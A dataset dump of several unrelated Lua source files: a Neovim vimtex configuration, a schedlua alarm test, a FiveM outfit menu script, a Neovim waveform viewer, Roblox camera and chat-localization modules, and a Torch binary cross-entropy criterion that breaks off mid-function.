content
stringlengths
5
1.05M
local g = vim.g -- g.tex_flavor = "xelatex" g.vimtex_view_method = "general" g.vimtex_compiler_progname = "/home/aklsh/.vim/.direnv/python-3.9.5/bin/nvr" g.vimtex_view_general_viewer = "evince" g.vimtex_view_automatic = 1 g.vimtex_quickfix_open_on_warning = 0 g.vimtex_syntax_enabled = 0 g.vimtex_indent_enabled = 0 -- Don't let vimtex autoindent things g.latex_indent_enabled = 0 g.vimtex_format_enabled = 1 -- Make vimtex recognise end-of-line comments when using 'gq'. g.vimtex_toc_show_preamble = 0 -- Don't show preamble in ToC vim.cmd([[ let g:vimtex_compiler_latexmk = {'options' : [ '-pdf', '-pdflatex="xelatex --shell-escape %O %S"', '-verbose', '-file-line-error', '-synctex=1', '-interaction=nonstopmode']} ]])
--test_stopwatch.lua package.path = package.path..";../?.lua" local Kernel = require("schedlua.kernel")(); local Alarm = require("schedlua.alarm")(Kernel) local Clock, timespec = require("schedlua.clock") local function test_alarm_sleep() local s1 = Clock(); local starttime = s1:reset(); print("sleep(7525)"); Alarm:sleep(7525); local duration = s1:secondsElapsed(); print("Duration: ", duration); halt(); end run(test_alarm_sleep)
local SaveOutfit, DeleteOutfit Model = 0 OutfitNames = {NoOutfitName, NoOutfitName, NoOutfitName, NoOutfitName, NoOutfitName, NoOutfitName, NoOutfitName, NoOutfitName, NoOutfitName, NoOutfitName, NoOutfitName, NoOutfitName, NoOutfitName, NoOutfitName, NoOutfitName, NoOutfitName, NoOutfitName, NoOutfitName, NoOutfitName, NoOutfitName} CreateThread(function() --Outfits Menu [Multiple Pages] while true do Citizen.Wait(0) if (outfitMenu) then TriggerServerEvent("FMODT:GetOutfitNames") if not IsDisabledControlPressed(1, 173) and not IsDisabledControlPressed(1, 172) then currentOption = lastSelectionoutfitMenu else lastSelectionoutfitMenu = currentOption end TriggerEvent("FMODT:Title", "~y~" .. OutfitsTitle .. "") TriggerEvent("FMODT:Option", "~y~>> ~s~" .. SaveOutfitsTitle .. "", function(cb) if (cb) then outfitMenu = false OutfitSaveMenu = true end end) TriggerEvent("FMODT:Option", "~y~>> ~s~" .. LoadOutfitsTitle .. "", function(cb) if (cb) then outfitMenu = false OutfitLoadMenu = true end end) TriggerEvent("FMODT:Option", "~y~>> ~s~" .. DeleteOutfitsTitle .. "", function(cb) if (cb) then outfitMenu = false OutfitDeleteMenu = true end end) TriggerEvent("FMODT:Update") elseif (OutfitSaveMenu) then TriggerServerEvent("FMODT:GetOutfitNames") if not IsDisabledControlPressed(1, 173) and not IsDisabledControlPressed(1, 172) then currentOption = lastSelectionOutfitSaveMenu else lastSelectionOutfitSaveMenu = currentOption end TriggerEvent("FMODT:Title", "~y~" .. SaveOutfitsTitle .. "") for i = 1, 20 do TriggerEvent("FMODT:Option", i .. ". " .. OutfitNames[i], function(cb) if (cb) then SaveOutfit = true end end) end TriggerEvent("FMODT:Update") elseif (OutfitLoadMenu) then TriggerServerEvent("FMODT:GetOutfitNames") if not IsDisabledControlPressed(1, 173) and not IsDisabledControlPressed(1, 172) then currentOption = lastSelectionOutfitLoadMenu else lastSelectionOutfitLoadMenu = currentOption end TriggerEvent("FMODT:Title", "~y~" .. LoadOutfitsTitle .. "") for i = 1, 20 do TriggerEvent("FMODT:Option", i .. ". " .. OutfitNames[i], function(cb) if (cb) then if OutfitNames[currentOption] ~= NoOutfitName then TriggerServerEvent("FMODT:OutfitLoad", currentOption) drawNotification("~g~Outfit ~y~" .. OutfitNames[currentOption] .. " ~g~Loaded!") else drawNotification("~r~Outfit " .. currentOption .. " Not Existing!") end end end) end TriggerEvent("FMODT:Update") elseif (OutfitDeleteMenu) then TriggerServerEvent("FMODT:GetOutfitNames") if not IsDisabledControlPressed(1, 173) and not IsDisabledControlPressed(1, 172) then currentOption = lastSelectionOutfitDeleteMenu else lastSelectionOutfitDeleteMenu = currentOption end TriggerEvent("FMODT:Title", "~y~" .. DeleteOutfitsTitle .. "") for i = 1, 20 do TriggerEvent("FMODT:Option", i .. ". " .. OutfitNames[i], function(cb) if (cb) then DeleteOutfit = true end end) end TriggerEvent("FMODT:Update") end end end) CreateThread(function() --Outfit Saving while true do Citizen.Wait(0) local playerPed = GetPlayerPed(-1) local OutfitName local Hat = GetPedPropIndex(playerPed, 0) local HatTexture = GetPedPropTextureIndex(playerPed, 0) local Glasses = GetPedPropIndex(playerPed, 1) local GlassesTexture = GetPedPropTextureIndex(playerPed, 1) local EarPiece = GetPedPropIndex(playerPed, 2) local EarPieceTexture = GetPedPropTextureIndex(playerPed, 2) local Watch = GetPedPropIndex(playerPed, 3) local WatchTexture = GetPedPropTextureIndex(playerPed, 3) local Face = GetPedDrawableVariation(playerPed, 0) local FaceTexture = GetPedTextureVariation(playerPed, 0) local Mask = GetPedDrawableVariation(playerPed, 1) local MaskTexture = GetPedTextureVariation(playerPed, 1) local Hair = GetPedDrawableVariation(playerPed, 2) local HairTexture = GetPedTextureVariation(playerPed, 2) local UpperBody = GetPedDrawableVariation(playerPed, 3) local UpperBodyTexture = GetPedTextureVariation(playerPed, 3) local Legs = GetPedDrawableVariation(playerPed, 4) local LegsTexture = GetPedTextureVariation(playerPed, 4) local Parachute = GetPedDrawableVariation(playerPed, 5) local ParachuteTexture = GetPedTextureVariation(playerPed, 5) local Shoes = GetPedDrawableVariation(playerPed, 6) local ShoesTexture = GetPedTextureVariation(playerPed, 6) local TiesScarfsetc = GetPedDrawableVariation(playerPed, 7) local TiesScarfsetcTexture = GetPedTextureVariation(playerPed, 7) local Undershirt = GetPedDrawableVariation(playerPed, 8) local UndershirtTexture = GetPedTextureVariation(playerPed, 8) local Armor = GetPedDrawableVariation(playerPed, 9) local ArmorTexture = GetPedTextureVariation(playerPed, 9) local Embleme = GetPedDrawableVariation(playerPed, 10) local EmblemeTexture = GetPedTextureVariation(playerPed, 10) local Top = GetPedDrawableVariation(playerPed, 11) local TopTexture = GetPedTextureVariation(playerPed, 11) local bool, shapeMotherID, shapeFatherID, shapeExtraID, skinMotherID, skinFatherID, skinExtraID, shapeMix, skinMix, thirdMix = Citizen.InvokeNative(0x2746BD9D88C5C5D0, GetPlayerPed(-1), Citizen.PointerValueIntInitialized(shapeMotherID), Citizen.PointerValueIntInitialized(shapeFatherID), Citizen.PointerValueIntInitialized(shapeExtraID), Citizen.PointerValueIntInitialized(skinMotherID), Citizen.PointerValueIntInitialized(shapeFatherID), Citizen.PointerValueIntInitialized(skinExtraID), Citizen.PointerValueFloatInitialized(shapeMix), Citizen.PointerValueFloatInitialized(skinMix), Citizen.PointerValueFloatInitialized(thirdMix), Citizen.ReturnResultAnyway()) local newShapeMix = round(shapeMix, 2) local newSkinMix = round(skinMix, 2) local newThirdMix = round(thirdMix, 2) local ModelHash = GetEntityModel(GetPlayerPed(-1)) local Blemishes = GetPedHeadOverlayValue(playerPed, 0) local FacialHair = GetPedHeadOverlayValue(playerPed, 1) local Eyebrows = GetPedHeadOverlayValue(playerPed, 2) local Ageing = GetPedHeadOverlayValue(playerPed, 3) local Makeup = GetPedHeadOverlayValue(playerPed, 4) local Blush = GetPedHeadOverlayValue(playerPed, 5) local Complexion = GetPedHeadOverlayValue(playerPed, 6) local SunDamage = GetPedHeadOverlayValue(playerPed, 7) local Lipstick = GetPedHeadOverlayValue(playerPed, 8) local MolesFreckles = GetPedHeadOverlayValue(playerPed, 9) local ChestHair = GetPedHeadOverlayValue(playerPed, 10) local BodyBlemishes = GetPedHeadOverlayValue(playerPed, 11) local AddBodyBlemishes = GetPedHeadOverlayValue(playerPed, 12) if SaveOutfit then if (OutfitNames[currentOption] ~= NoOutfitName) then OutfitName = KeyboardInput(OutfitNameKeyboardMessage, OutfitNames[currentOption], 25, false) else OutfitName = KeyboardInput(OutfitNameKeyboardMessage, NewOutfitDefaultName .. " " .. currentOption, 25, false) end if OutfitName ~= nil then if OutfitName == NoOutfitName then drawNotification("~r~" .. OutfitSavingAbortion .. "!") else if OutfitName == "" then OutfitName = NewOutfitDefaultName .. " " .. currentOption end OutfitTable = {OutfitName, ModelHash, Hat, HatTexture, Glasses, GlassesTexture, EarPiece, EarPieceTexture, Watch, WatchTexture, Face, FaceTexture, Mask, MaskTexture, Hair, HairTexture, HairColorIndex, UpperBody, UpperBodyTexture, Legs, LegsTexture, Parachute, ParachuteTexture, Shoes, ShoesTexture, TiesScarfsetc, TiesScarfsetcTexture, Undershirt, UndershirtTexture, Armor, ArmorTexture, Embleme, EmblemeTexture, Top, TopTexture, shapeMotherID, shapeFatherID, shapeExtraID, skinMotherID, skinFatherID, skinExtraID, newShapeMix, newSkinMix, newThirdMix, Blemishes, FacialHair, FacialHairColorIndex, Eyebrows, EyebrowsColorIndex, Ageing, Makeup, Blush, BlushColorIndex, Complexion, SunDamage, Lipstick, LipstickColorIndex, MolesFreckles, ChestHair, ChestHairColorIndex, BodyBlemishes, AddBodyBlemishes} OutfitTable = table.tostring(OutfitTable) OutfitTable = OutfitTable:gsub("{", "") OutfitTable = OutfitTable:gsub("}", "") TriggerServerEvent("FMODT:OutfitSave", currentOption, OutfitTable) end else drawNotification("~r~" .. OutfitSavingAbortion .. "!") end SaveOutfit = false end end end) CreateThread(function() --Outfit Deleting while true do Citizen.Wait(0) if DeleteOutfit then if OutfitNames[currentOption] ~= NoOutfitName then local result = KeyboardInput(OutfitDeletingConfirmation, "", 40, false) if result ~= nil then if result:lower() == (OutfitDeletingWord or "'" .. OutfitDeletingWord .. "'") then TriggerServerEvent("DeleteOutfit", currentOption) else drawNotification("~r~" .. OutfitDeletingAbortion .. "!") end else drawNotification("~r~" .. OutfitDeletingAbortion .. "!") end else drawNotification("~r~Outfit " .. currentOption .. " - " .. NotExisting .. "!") end DeleteOutfit = false end end end) AddEventHandler("FMODT:GotOutfitNames", function(OutfitName1, OutfitName2, OutfitName3, OutfitName4, OutfitName5, OutfitName6, OutfitName7, OutfitName8, OutfitName9, OutfitName10, --Just Don't Edit! OutfitName11, OutfitName12, OutfitName13, OutfitName14, OutfitName15, OutfitName16, OutfitName17, OutfitName18, OutfitName19, OutfitName20) if OutfitName1 == nil then OutfitNames[1] = NoOutfitName else OutfitNames[1] = OutfitName1 end if OutfitName2 == nil then OutfitNames[2] = NoOutfitName else OutfitNames[2] = OutfitName2 end if OutfitName3 == nil then OutfitNames[3] = NoOutfitName else OutfitNames[3] = OutfitName3 end if OutfitName4 == nil then OutfitNames[4] = NoOutfitName else OutfitNames[4] = OutfitName4 end if OutfitName5 == nil then OutfitNames[5] = NoOutfitName else OutfitNames[5] = OutfitName5 end if OutfitName6 == nil then OutfitNames[6] = NoOutfitName else OutfitNames[6] = OutfitName6 end if OutfitName7 == nil then OutfitNames[7] = NoOutfitName else OutfitNames[7] = OutfitName7 end if OutfitName8 == nil then OutfitNames[8] = NoOutfitName else OutfitNames[8] = OutfitName8 end if OutfitName9 == nil then OutfitNames[9] = NoOutfitName else OutfitNames[9] = OutfitName9 end if OutfitName10 == nil then OutfitNames[10] = NoOutfitName else OutfitNames[10] = OutfitName10 end if OutfitName11 == nil then OutfitNames[11] = NoOutfitName else OutfitNames[11] = OutfitName11 end if OutfitName12 == nil then OutfitNames[12] = NoOutfitName else OutfitNames[12] = OutfitName12 end if OutfitName13 == nil then OutfitNames[13] = NoOutfitName else OutfitNames[13] = OutfitName13 end if OutfitName14 == nil then OutfitNames[14] = NoOutfitName else OutfitNames[14] = OutfitName14 end if OutfitName15 == nil then OutfitNames[15] = NoOutfitName else OutfitNames[15] = OutfitName15 end if OutfitName16 == nil then OutfitNames[16] = NoOutfitName else OutfitNames[16] = OutfitName16 end if OutfitName17 == nil then OutfitNames[17] = NoOutfitName else OutfitNames[17] = OutfitName17 end if OutfitName18 == nil then OutfitNames[18] = NoOutfitName else OutfitNames[18] = OutfitName18 end if OutfitName19 == nil then OutfitNames[19] = NoOutfitName else OutfitNames[19] = OutfitName19 end if OutfitName20 == nil then OutfitNames[20] = NoOutfitName else OutfitNames[20] = OutfitName20 end end) AddEventHandler("FMODT:ChangePlayerPed", function(ModelHash) --Just Don't Edit! if tonumber(ModelHash) ~= nil then blockinput = true Model = tonumber(ModelHash) RequestModel(Model) while not HasModelLoaded(Model) do Citizen.Wait(0) end SetPlayerModel(PlayerId(), Model) if playerVisibleCount == 1 then playerVisible = true end end end) AddEventHandler("FMODT:ApplyOutfitProps", function(Hat, HatTexture, Glasses, GlassesTexture, EarPiece, EarPieceTexture, Watch, WatchTexture) --Just Don't Edit! if not HasModelLoaded(Model) then while not HasModelLoaded(Model) do Citizen.Wait(0) end Citizen.Wait(1000) end if Hat ~= nil then SetPedPropIndex(GetPlayerPed(-1), 0, tonumber(Hat), tonumber(HatTexture), true) end if Glasses ~= nil then SetPedPropIndex(GetPlayerPed(-1), 1, tonumber(Glasses), tonumber(GlassesTexture), true) end if EarPiece ~= nil then SetPedPropIndex(GetPlayerPed(-1), 2, tonumber(EarPiece), tonumber(EarPieceTexture), true) end if Watch ~= nil then SetPedPropIndex(GetPlayerPed(-1), 3, tonumber(Watch), tonumber(WatchTexture), true) end end) AddEventHandler("FMODT:ApplyOutfitVariations1", function(Face, FaceTexture, Mask, MaskTexture, Hair, HairTexture, HairColor, UpperBody, UpperBodyTexture) --Just Don't Edit! if not HasModelLoaded(Model) then while not HasModelLoaded(Model) do Citizen.Wait(0) end Citizen.Wait(1000) end if Face ~= nil then SetPedComponentVariation(GetPlayerPed(-1), 0, tonumber(Face), tonumber(FaceTexture), GetPedPaletteVariation(GetPlayerPed(-1), 0)) end if Mask ~= nil then SetPedComponentVariation(GetPlayerPed(-1), 1, tonumber(Mask), tonumber(MaskTexture), GetPedPaletteVariation(GetPlayerPed(-1), 1)) end if Hair ~= nil then SetPedComponentVariation(GetPlayerPed(-1), 2, tonumber(Hair), tonumber(HairTexture), GetPedPaletteVariation(GetPlayerPed(-1), 2)) HairColorIndex = tonumber(HairColor) Citizen.Wait(1000) SetPedHairColor(GetPlayerPed(-1), HairColorIndex, 0) end if UpperBody ~= nil then SetPedComponentVariation(GetPlayerPed(-1), 3, tonumber(UpperBody), tonumber(UpperBodyTexture), GetPedPaletteVariation(GetPlayerPed(-1), 3)) end end) AddEventHandler("FMODT:ApplyOutfitVariations2", function(Legs, LegsTexture, Parachute, ParachuteTexture, Shoes, ShoesTexture, TiesScarfsetc, TiesScarfsetcTexture) --Just Don't Edit! if not HasModelLoaded(Model) then while not HasModelLoaded(Model) do Citizen.Wait(0) end Citizen.Wait(1000) end if Legs ~= nil then SetPedComponentVariation(GetPlayerPed(-1), 4, tonumber(Legs), tonumber(LegsTexture), GetPedPaletteVariation(GetPlayerPed(-1), 4)) end if Parachute ~= nil then SetPedComponentVariation(GetPlayerPed(-1), 5, tonumber(Parachute), tonumber(ParachuteTexture), GetPedPaletteVariation(GetPlayerPed(-1), 5)) end if Shoes ~= nil then SetPedComponentVariation(GetPlayerPed(-1), 6, tonumber(Shoes), tonumber(ShoesTexture), GetPedPaletteVariation(GetPlayerPed(-1), 6)) end if TiesScarfsetc ~= nil then SetPedComponentVariation(GetPlayerPed(-1), 7, tonumber(TiesScarfsetc), tonumber(TiesScarfsetcTexture), GetPedPaletteVariation(GetPlayerPed(-1), 7)) end end) AddEventHandler("FMODT:ApplyOutfitVariations3", function(Undershirt, UndershirtTexture, Armor, ArmorTexture, Embleme, EmblemeTexture, Top, TopTexture) --Just Don't Edit! if not HasModelLoaded(Model) then while not HasModelLoaded(Model) do Citizen.Wait(0) end Citizen.Wait(1000) end if Undershirt ~= nil then SetPedComponentVariation(GetPlayerPed(-1), 8, tonumber(Undershirt), tonumber(UndershirtTexture), GetPedPaletteVariation(GetPlayerPed(-1), 8)) end if Armor ~= nil then SetPedComponentVariation(GetPlayerPed(-1), 9, tonumber(Armor), tonumber(ArmorTexture), GetPedPaletteVariation(GetPlayerPed(-1), 9)) end if Embleme ~= nil then SetPedComponentVariation(GetPlayerPed(-1), 10, tonumber(Embleme), tonumber(EmblemeTexture), GetPedPaletteVariation(GetPlayerPed(-1), 10)) end if Top ~= nil then SetPedComponentVariation(GetPlayerPed(-1), 11, tonumber(Top), tonumber(TopTexture), GetPedPaletteVariation(GetPlayerPed(-1), 11)) end blockinput = false end) AddEventHandler("FMODT:ApplyOutfitHeadData", function(shapeMotherID, shapeFatherID, shapeExtraID, skinMotherID, skinFatherID, skinExtraID, shapeMix, skinMix, thirdMix) --Just Don't Edit! if not HasModelLoaded(Model) then while not HasModelLoaded(Model) do Citizen.Wait(0) end end Citizen.Wait(1000) shapeMixSplitted = stringsplit(shapeMix, ".") skinMixSplitted = stringsplit(skinMix, ".") thirdMixSplitted = stringsplit(thirdMix, ".") if tonumber(shapeMixSplitted[2]) > 9 then newshapeMix = (tonumber(shapeMixSplitted[1]) * 1.0) + ((tonumber(shapeMixSplitted[2]) * 1.0) / 100) else newshapeMix = (tonumber(shapeMixSplitted[1]) * 1.0) + ((tonumber(shapeMixSplitted[2]) * 1.0) / 10) end if tonumber(skinMixSplitted[2]) > 9 then newskinMix = (tonumber(skinMixSplitted[1]) * 1.0) + ((tonumber(skinMixSplitted[2]) * 1.0) / 100) else newskinMix = (tonumber(skinMixSplitted[1]) * 1.0) + ((tonumber(skinMixSplitted[2]) * 1.0) / 10) end if tonumber(thirdMixSplitted[2]) > 9 then newthirdMix = (tonumber(thirdMixSplitted[1]) * 1.0) + ((tonumber(thirdMixSplitted[2]) * 1.0) / 100) else newthirdMix = (tonumber(thirdMixSplitted[1]) * 1.0) + ((tonumber(thirdMixSplitted[2]) * 1.0) / 10) end SetPedHeadBlendData(GetPlayerPed(-1), tonumber(shapeMotherID), tonumber(shapeFatherID), tonumber(shapeExtraID), tonumber(skinMotherID), tonumber(skinFatherID), tonumber(skinExtraID), newshapeMix, newskinMix, newthirdMix, false) end) AddEventHandler("FMODT:ApplyOutfitHeadOverlay", function(Blemishes, FacialHair, FacialHairColor, Eyebrows, EyebrowsColor, Ageing, Makeup, Blush, BlushColor, Complexion, --Just Don't Edit! SunDamage, Lipstick, LipstickColor, MolesFreckles, ChestHair, ChestHairColor, BodyBlemishes, AddBodyBlemishes) if not HasModelLoaded(Model) then while not HasModelLoaded(Model) do Citizen.Wait(0) end end Citizen.Wait(2000) SetPedHeadOverlay(GetPlayerPed(-1), 0, tonumber(Blemishes), 1.0) SetPedHeadOverlay(GetPlayerPed(-1), 1, tonumber(FacialHair), 1.0) FacialHairColorIndex = tonumber(FacialHairColor) SetPedHeadOverlayColor(GetPlayerPed(-1), 1, 1, tonumber(FacialHairColorIndex), 0) SetPedHeadOverlay(GetPlayerPed(-1), 2, tonumber(Eyebrows), 1.0) EyebrowsColorIndex = tonumber(EyebrowsColor) SetPedHeadOverlayColor(GetPlayerPed(-1), 2, 1, tonumber(EyebrowsColorIndex), 0) SetPedHeadOverlay(GetPlayerPed(-1), 3, tonumber(Ageing), 1.0) SetPedHeadOverlay(GetPlayerPed(-1), 4, tonumber(Makeup), 1.0) SetPedHeadOverlay(GetPlayerPed(-1), 5, tonumber(Blush), 1.0) BlushColorIndex = tonumber(BlushColor) SetPedHeadOverlayColor(GetPlayerPed(-1), 5, 2, tonumber(BlushColorIndex), 0) SetPedHeadOverlay(GetPlayerPed(-1), 6, tonumber(Complexion), 1.0) SetPedHeadOverlay(GetPlayerPed(-1), 7, tonumber(SunDamage), 1.0) SetPedHeadOverlay(GetPlayerPed(-1), 8, tonumber(Lipstick), 1.0) LipstickColorIndex = tonumber(LipstickColor) SetPedHeadOverlayColor(GetPlayerPed(-1), 8, 2, tonumber(LipstickColorIndex), 0) SetPedHeadOverlay(GetPlayerPed(-1), 9, tonumber(MolesFreckles), 1.0) SetPedHeadOverlay(GetPlayerPed(-1), 10, tonumber(ChestHair), 1.0) ChestHairColorIndex = tonumber(ChestHairColor) SetPedHeadOverlayColor(GetPlayerPed(-1), 10, 1, tonumber(ChestHairColorIndex), 0) SetPedHeadOverlay(GetPlayerPed(-1), 11, tonumber(BodyBlemishes), 1.0) SetPedHeadOverlay(GetPlayerPed(-1), 12, tonumber(AddBodyBlemishes), 1.0) end)
-- Generated using ntangle.nvim local margin = 1 local M = {} function M.parse(lines) local parsed = {} local ordered = {} local i = 1 while #lines[i] > 0 do i = i + 1 end while #lines[i] == 0 do i = i + 1 end while #lines[i] > 0 do local vary_type, size, id_code, ref = lines[i]:match("^%s*$var%s+(%a+)%s+(%d+)%s+(%S+)%s+(%S+)") if vary_type and size and id_code and ref then if not parsed[id_code] then table.insert(ordered, id_code) end parsed[id_code] = { vary_type = vary_type, size = tonumber(size), ref = ref, data = {}, } end i = i + 1 end while #lines[i] == 0 do i = i + 1 end local timeframe = {} while i <= #lines do if lines[i]:match("#%d+") then for id_code, val in pairs(timeframe) do table.insert(parsed[id_code].data, val) end else local val = lines[i]:sub(1,1) local id_code = lines[i]:sub(2,2) if parsed[id_code] then timeframe[id_code] = val end end i = i + 1 end for id_code, val in pairs(timeframe) do table.insert(parsed[id_code].data, val) end return parsed, ordered end function M.view() local lines = vim.api.nvim_buf_get_lines(0, 0, -1, false) local parsed, ordered = M.parse(lines) local buf = vim.api.nvim_create_buf(false, true) local name_pos = {} local lines = {} for _, id_code in ipairs(ordered) do local entry = parsed[id_code] local prev local upper = {} local lower = {} if entry.data[1] == "1" then table.insert(upper, "─") table.insert(lower, " ") table.insert(upper, "─") table.insert(lower, " ") elseif entry.data[1] == "0" then table.insert(upper, " ") table.insert(lower, "─") table.insert(upper, " ") table.insert(lower, "─") end for i=2,#entry.data do local val = entry.data[i] if entry.data[i-1] == "0" and entry.data[i] == "1" then table.insert(upper, "┌") table.insert(lower, "┘") table.insert(upper, "─") table.insert(lower, " ") elseif entry.data[i-1] == "0" and entry.data[i] == "0" then table.insert(upper, " ") table.insert(lower, "─") table.insert(upper, " ") table.insert(lower, "─") elseif entry.data[i-1] == "1" and entry.data[i] == "0" then table.insert(upper, "┐") table.insert(lower, "└") table.insert(upper, " ") table.insert(lower, "─") elseif entry.data[i-1] == "1" and entry.data[i] == "1" then table.insert(upper, "─") table.insert(lower, " ") table.insert(upper, "─") table.insert(lower, " ") end end if entry.data[#entry.data] == "1" then table.insert(upper, "─") table.insert(lower, " ") elseif entry.data[#entry.data] == "0" then table.insert(upper, " ") table.insert(lower, "─") end table.insert(lines, table.concat(upper, "")) table.insert(lines, table.concat(lower, "")) table.insert(name_pos, { #lines+margin, 2*margin, #entry.ref+2*margin }) end local max_width_name = 0 for i, id_code in ipairs(ordered) do local entry = parsed[id_code] max_width_name = math.max(vim.api.nvim_strwidth(entry.ref), max_width_name) end for i, id_code in ipairs(ordered) do local entry = parsed[id_code] local upper_blank = (" "):rep(max_width_name+2) local lower_blank = (" "):rep(max_width_name - vim.api.nvim_strwidth(entry.ref) + 2) lines[2*(i-1)+1] = upper_blank .. lines[2*(i-1)+1] lines[2*(i-1)+2] = entry.ref .. lower_blank .. lines[2*(i-1)+2] end local max_width = 0 for i=1,#lines do max_width = math.max(vim.api.nvim_strwidth(lines[i]), max_width) end local white = (" "):rep(max_width) for i=1,margin do table.insert(lines, 1, white) end local prefix = (" "):rep(2*margin) for i=1,#lines do lines[i] = prefix .. lines[i] end vim.api.nvim_buf_set_lines(buf, 0, -1, true, lines) local ns_id = vim.api.nvim_create_namespace("") for _, pos in ipairs(name_pos) do local row, scol, ecol = unpack(pos) vim.api.nvim_buf_add_highlight(buf, ns_id, "String", row-1, scol, ecol) end local hl_group = "Whitespace" local hl_group_high = "Error" local hl_group_low = "Question" for i=margin+1,#lines do local len_line = vim.str_utfindex(lines[i]) local j = max_width_name + 2 + 2*margin while j < len_line do local scol = vim.str_byteindex(lines[i], j) local ecol = vim.str_byteindex(lines[i], j+1) local c = lines[i]:sub(scol+1,ecol) if c ~= " " then if (j-max_width_name-2*margin)%2 == 0 then vim.api.nvim_buf_add_highlight(buf, ns_id, hl_group, i-1, scol, ecol) else if (i-margin)%2 == 0 then vim.api.nvim_buf_add_highlight(buf, ns_id, hl_group_low, i-1, scol, ecol) else vim.api.nvim_buf_add_highlight(buf, ns_id, hl_group_high, i-1, scol, ecol) end end end j = j + 1 end end local editor_width = vim.o.columns local editor_height = vim.o.lines local w = math.min(math.floor(editor_width*0.8), max_width + margin*4) local h = math.min(math.floor(editor_height*0.8), #lines + margin) local win = vim.api.nvim_open_win(buf, true, { relative = "editor", width = w, height = h, col = math.floor((editor_width - w)/2), row = math.floor((editor_height - h)/2), border = "single", style = "minimal", }) -- @set_cursor_as_column end return M
local camera = workspace.CurrentCamera local inputService = game:GetService("UserInputService") local inputHandler = require(script.Parent.Input) local shiftLock = false local pan = 0 local tilt = 0 local default = Enum.MouseBehavior.Default local subject local sens camera.CameraType = Enum.CameraType.Scriptable local function Setup(character) subject = character.PrimaryPart camera.CameraSubject = subject camera.CFrame = subject.CFrame end local function Remove() subject = nil camera.CameraSubject = nil end local function Callback(step) if not subject then return end sens = step / math.pi camera.CFrame = camera.CFrame:Lerp(CFrame.fromOrientation(tilt, pan, 0) + subject.Position - camera.CFrame.LookVector * 10, .25) end inputHandler.AddInput("Drag", {[Enum.UserInputType.MouseButton2] = Enum.UserInputState.None}, function(input, state) inputService.MouseBehavior = state == Enum.UserInputState.Begin and Enum.MouseBehavior.LockCurrentPosition or default end) inputHandler.AddInput("ToggleLock", {[Enum.KeyCode.Backquote] = Enum.UserInputState.Begin}, function(input) shiftLock = not shiftLock inputService.MouseBehavior = shiftLock and Enum.MouseBehavior.LockCenter or default end, true) inputService.InputChanged:Connect(function(input, gpe) if not gpe and input.UserInputType == Enum.UserInputType.MouseMovement and (inputService.MouseBehavior ~= default or shiftLock) then local delta = -input.Delta * .004 pan += delta.X tilt = math.clamp(tilt + delta.Y, -1.2, .3) inputService.MouseBehavior = Enum.MouseBehavior.LockCurrentPosition end end) table.insert(require(game.ReplicatedStorage.Modules.Util.FrameBased).RenderStepped, 1, Callback) return {Setup = Setup, Remove = Remove}
--!nocheck local LocalizationService = game:GetService("LocalizationService") local ChatService = game:GetService("Chat") local success, userShouldLocalizeServerMessages = pcall(function() return UserSettings():IsUserFeatureEnabled("UserShouldLocalizeServerMessages") end) local userShouldLocalizeServerMessages = success and userShouldLocalizeServerMessages local existingKey = { ["System"] = "InGame.Chat.Label.SystemMessagePrefix", ["Team"] = "InGame.Chat.Label.TeamMessagePrefix", ["From "] = "InGame.Chat.Label.From", ["To "] = "InGame.Chat.Label.To", } local ChatLocalization = { _hasFetchedLocalization = false, } function ChatLocalization:_getTranslator() if not self._translator and not self._hasFetchedLocalization then -- Don't keep retrying if this fails. self._hasFetchedLocalization = true local localizationTable = ChatService:WaitForChild("ChatLocalization", 4) if localizationTable then self._translator = localizationTable:GetTranslator(LocalizationService.RobloxLocaleId) LocalizationService:GetPropertyChangedSignal("RobloxLocaleId"):Connect(function() -- If RobloxLocaleId changes invalidate the cached Translator. self._hasFetchedLocalization = false self._translator = nil end) else warn("Missing ChatLocalization. Chat interface will not be localized.") end end return self._translator end function ChatLocalization:Get(key, default, extraParameters) local rtv = default pcall(function() local translator = self:_getTranslator() if translator then rtv = translator:FormatByKey(key, extraParameters) else warn("Missing Translator. Used default for", key) end end) return rtv end function ChatLocalization:LocalizeFormattedMessage(message) if not userShouldLocalizeServerMessages then return message end local keyStart, keyEnd = string.find(message, "{RBX_LOCALIZATION_KEY}") if not keyStart then return message end local defaultStart, defaultEnd = string.find(message, "{RBX_LOCALIZATION_DEFAULT}") if not defaultStart then return message end local paramStart, paramEnd = string.find(message, "{RBX_LOCALIZATION_PARAMS}") local key = string.sub(message, keyEnd + 1, defaultStart - 1) local default if not paramStart then default = string.sub(message, defaultEnd + 1) return self:Get(key, default) end default = string.sub(message, defaultEnd + 1, paramStart - 1) local params = string.sub(message, paramEnd + 1) local extraParameters = {} for k,v in string.gmatch(params,"([^%s]+)=([^%s]+)") do extraParameters[k] = v end return self:Get(key, default, extraParameters) end function ChatLocalization:FormatMessageToSend(key, defaultMessage, parameterName, value) if userShouldLocalizeServerMessages then if parameterName and value then return "{RBX_LOCALIZATION_KEY}"..key.."{RBX_LOCALIZATION_DEFAULT}"..defaultMessage .."{RBX_LOCALIZATION_PARAMS}"..parameterName.."="..value else return "{RBX_LOCALIZATION_KEY}"..key.."{RBX_LOCALIZATION_DEFAULT}"..defaultMessage end else if parameterName and value then return string.gsub(self:Get(key,defaultMessage), "{"..parameterName.."}", value) else return self:Get(key,defaultMessage) end end end -- try localize whole/part of string -- no more-than-1 replacement for current existing keys. function ChatLocalization:tryLocalize(rawString) if existingKey[rawString] then return self:Get(existingKey[rawString], rawString) end for enString, localizationKey in pairs(existingKey) do if string.find(rawString, enString) then local localizedPart = self:Get(localizationKey, enString) return string.gsub(rawString, enString, localizedPart, 1) end end return rawString end return ChatLocalization
local BCECriterion2, parent = torch.class('nn.BCECriterion2', 'nn.Criterion') local eps = 1e-12 function BCECriterion2:__init() parent.__init(self) self.sizeAverage = true end function BCECriterion2:updateOutput(input, target) -- log(input) * target + log(1 - input) * (1 - target) self.term1 = self.term1 or input.new() self.term2 = self.term2 or input.new() self.term3 = self.term3 or input.new() self.term1:resizeAs(input) self.term2:resizeAs(input) self.term3:resizeAs(input) self.term1:fill(1):add(-1,target) self.term2:fill(1):add(-1,input):add(eps):log():cmul(self.term1) self.term3:copy(input):add(eps):log():cmul(target) self.term3:add(self.term2) if self.sizeAverage then self.term3:div(target:nElement()) end self.output = - self.term3:sum() return self.output end function BCECriterion2:updateGradInput(input, target) -- target / input - (1 - target) / (1 - input) self.term1 = self.term1 or input.new() self.term2 = self.term2 or input.new() self.term3 = self.term3 or input.new() self.term1:resizeAs(input) self.term2:resizeAs(input) self.term3:resizeAs(input) self.term1:fill(1):add(-1,target) self.term2:fill(1):add(-1,input) 